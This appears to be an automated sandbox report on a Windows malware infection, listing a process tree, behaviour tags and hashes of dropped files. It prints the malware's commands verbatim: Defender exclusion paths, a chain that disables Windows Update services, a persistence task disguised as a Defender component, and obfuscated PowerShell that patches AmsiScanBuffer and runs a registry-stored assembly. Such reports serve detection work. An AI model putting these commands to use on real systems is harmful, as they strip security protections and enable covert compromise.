C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵PID:3888
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3604 -s 5086⤵
- Program crash
PID:4076
-
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5000
-
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3480
-
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4796 -s 2563⤵
- Program crash
PID:1616
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2712
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3212 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1012
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:536
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:868
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:632
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4624
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4448
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3528
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4348
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4728
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3464
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4316
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4236
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2648
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2524
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2444
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2364
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2152
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1576
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1324
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1096
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:NpLdFenocxth{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lULsYSmZuHHraM,[Parameter(Position=1)][Type]$qOtiVrbJny)$jwGUOJpHgpx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+'l'+'e'+'c'+''+[Char](116)+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+'m'+'o'+''+'r'+'yM'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+'le'+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+'l'+[Char](97)+'s'+[Char](115)+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+'e'+''+[Char](100)+','+'A'+'n'+'s'+''+[Char](105)+''+'C'+''+'l'+''+'a'+'ss'+','+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$jwGUOJpHgpx.DefineConstructor('R'+[Char](84)+'S'+'p'+''+'e'+''+[Char](99)+''+[Char](105)+'al'+'N'+''+[Char](97)+''+'m'+''+'e'+','+'H'+''+'i'+''+[Char](100)+''+[Char](101)+'By'+'S'+''+[Char](105)+'g,P'+'u'+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lULsYSmZuHHraM).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+'a'+'n'+[Char](97)+'ged');$jwGUOJpHgpx.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+'c'+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+'g,'+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$qOtiVrbJny,$lULsYSmZuHHraM).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'an'+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $jwGUOJpHgpx.CreateType();}$dRTYsrRXdzfVo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'so'+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+'in'+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+'d'+[Char](82)+''+[Char](84)+''+[Char](89)+''+'s'+''+[Char](114)+''+[Char](82)+'X'+[Char](100)+''+[Char](122)+'f'+[Char](86)+''+[Char](111)+'');$kujMKFVcODZTXE=$dRTYsrRXdzfVo.GetMethod(''+'k'+''+[Char](117)+'j'+'M'+''+[Char](75)+''+'F'+''+'V'+''+[Char](99)+'O'+[Char](68)+''+[Char](90)+'T'+[Char](88)+''+[Char](69)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+'at'+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sIBbVrsQnfONfdXCZeW=NpLdFenocxth @([String])([IntPtr]);$jxWDKrXkUlLAbifAbyhzHH=NpLdFenocxth @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BsQVLJmEReR=$dRTYsrRXdzfVo.GetMethod(''+[Char](71)+'et'+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+'e'+'H'+''+'a'+''+[Char](110)+''+'d'+'le').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+'n'+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$xxtpUPEeRiPMfx=$kujMKFVcODZTXE.Invoke($Null,@([Object]$BsQVLJmEReR,[Object]('L'+[Char](111)+''+'a'+'d'+[Char](76)+''+[Char](105)+''+'b'+'r'+'a'+'ry'+[Char](65)+'')));$yDUaggJDMDAovdgVB=$kujMKFVcODZTXE.Invoke($Null,@([Object]$BsQVLJmEReR,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'ual'+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$oSCFehm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xxtpUPEeRiPMfx,$sIBbVrsQnfONfdXCZeW).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+'.d'+'l'+''+[Char](108)+'');$sCzlVVNyLSHDPdEKj=$kujMKFVcODZTXE.Invoke($Null,@([Object]$oSCFehm,[Object]('Ams'+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+'r'+'')));$mqQfEGTQgJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yDUaggJDMDAovdgVB,$jxWDKrXkUlLAbifAbyhzHH).Invoke($sCzlVVNyLSHDPdEKj,[uint32]8,4,[ref]$mqQfEGTQgJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$sCzlVVNyLSHDPdEKj,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yDUaggJDMDAovdgVB,$jxWDKrXkUlLAbifAbyhzHH).Invoke($sCzlVVNyLSHDPdEKj,[uint32]8,0x20,[ref]$mqQfEGTQgJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'ale'+'r'+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2948 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:oOquMfMYUmqi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EOeVSFrFlvhVMu,[Parameter(Position=1)][Type]$jSoWJkaUMj)$YzGnMJOXbaW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+'le'+[Char](99)+''+'t'+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+''+'e'+'g'+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+'y'+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+',P'+[Char](117)+''+'b'+'li'+[Char](99)+''+[Char](44)+''+'S'+'e'+'a'+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+'n'+'s'+''+[Char](105)+'C'+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+'l'+''+[Char](97)+'ss',[MulticastDelegate]);$YzGnMJOXbaW.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+','+[Char](80)+'u'+[Char](98)+'li'+'c'+'',[Reflection.CallingConventions]::Standard,$EOeVSFrFlvhVMu).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+[Char](44)+''+'M'+'a'+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$YzGnMJOXbaW.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+'i'+'de'+'B'+'y'+'S'+''+'i'+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t,V'+'i'+''+[Char](114)+''+'t'+''+'u'+''+'a'+''+'l'+'',$jSoWJkaUMj,$EOeVSFrFlvhVMu).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $YzGnMJOXbaW.CreateType();}$XovWVqKPOVXIY=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+'o'+'s'+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+'n'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](88)+''+[Char](111)+''+[Char](118)+''+[Char](87)+''+[Char](86)+''+[Char](113)+''+[Char](75)+'P'+'O'+'V'+'X'+''+'I'+''+[Char](89)+'');$XbdJTjnOzmlHmv=$XovWVqKPOVXIY.GetMethod(''+'X'+'b'+'d'+''+'J'+''+[Char](84)+''+[Char](106)+''+[Char](110)+''+[Char](79)+''+[Char](122)+''+[Char](109)+''+'l'+''+[Char](72)+''+'m'+'v',[Reflection.BindingFlags]''+'P'+'ub'+[Char](108)+'ic'+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VZldNDdPZzgaCCpPfKu=oOquMfMYUmqi @([String])([IntPtr]);$eUCmEFEffSoiCuLVCdHoGv=oOquMfMYUmqi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$HtJUYGpfKFm=$XovWVqKPOVXIY.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+'nd'+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+'ne'+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$eBkVlogavsrdwu=$XbdJTjnOzmlHmv.Invoke($Null,@([Object]$HtJUYGpfKFm,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+'L'+'i'+'b'+''+[Char](114)+''+[Char](97)+'r'+'y'+'A')));$JqSPYlfAXZFDrrTYY=$XbdJTjnOzmlHmv.Invoke($Null,@([Object]$HtJUYGpfKFm,[Object](''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+'e'+'c'+[Char](116)+'')));$eySrHBg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eBkVlogavsrdwu,$VZldNDdPZzgaCCpPfKu).Invoke(''+[Char](97)+'ms'+[Char](105)+'.'+[Char](100)+''+'l'+''+[Char](108)+'');$MzoGVsXsrkaEmuyXP=$XbdJTjnOzmlHmv.Invoke($Null,@([Object]$eySrHBg,[Object](''+'A'+''+[Char](109)+''+'s'+'i'+'S'+''+[Char](99)+'an'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$jLyMKehxIk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JqSPYlfAXZFDrrTYY,$eUCmEFEffSoiCuLVCdHoGv).Invoke($MzoGVsXsrkaEmuyXP,[uint32]8,4,[ref]$jLyMKehxIk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MzoGVsXsrkaEmuyXP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JqSPYlfAXZFDrrTYY,$eUCmEFEffSoiCuLVCdHoGv).Invoke($MzoGVsXsrkaEmuyXP,[uint32]8,0x20,[ref]$jLyMKehxIk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+'AR'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+'er'+'s'+''+[Char](116)+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1088
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1040
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe eac6be2d83f4fca405e4ca45defa6db5 ugndueqcE0uht0U6vAWD1Q.0.1.0.0.01⤵PID:2660
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:2636
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4428
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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Filesize
53KB
MD5124edf3ad57549a6e475f3bc4e6cfe51
SHA180f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA256638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
SHA512b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
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Filesize
19KB
MD5fe2d630b952728dc51d0a5585dc863e1
SHA19eff8c4b994d1245437f67132e8044f27aa35d06
SHA25667e65b627567819acda55b2a5b5660d3321f0cacdf2e95c80ce856295267c98d
SHA5122e16e6fb6dc7d1f889b9980e1fed6899bfc67938f787329bf6d26926669fd872e43a54820e2645fef4a42be456f6320690c549eb758c76aad7730bdf209afca5
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Filesize
1KB
MD5c697637a9b17f577fccd7e83a5495810
SHA104e6054584786b88994b0e0a871562227fe2a435
SHA25654992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
SHA51266f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373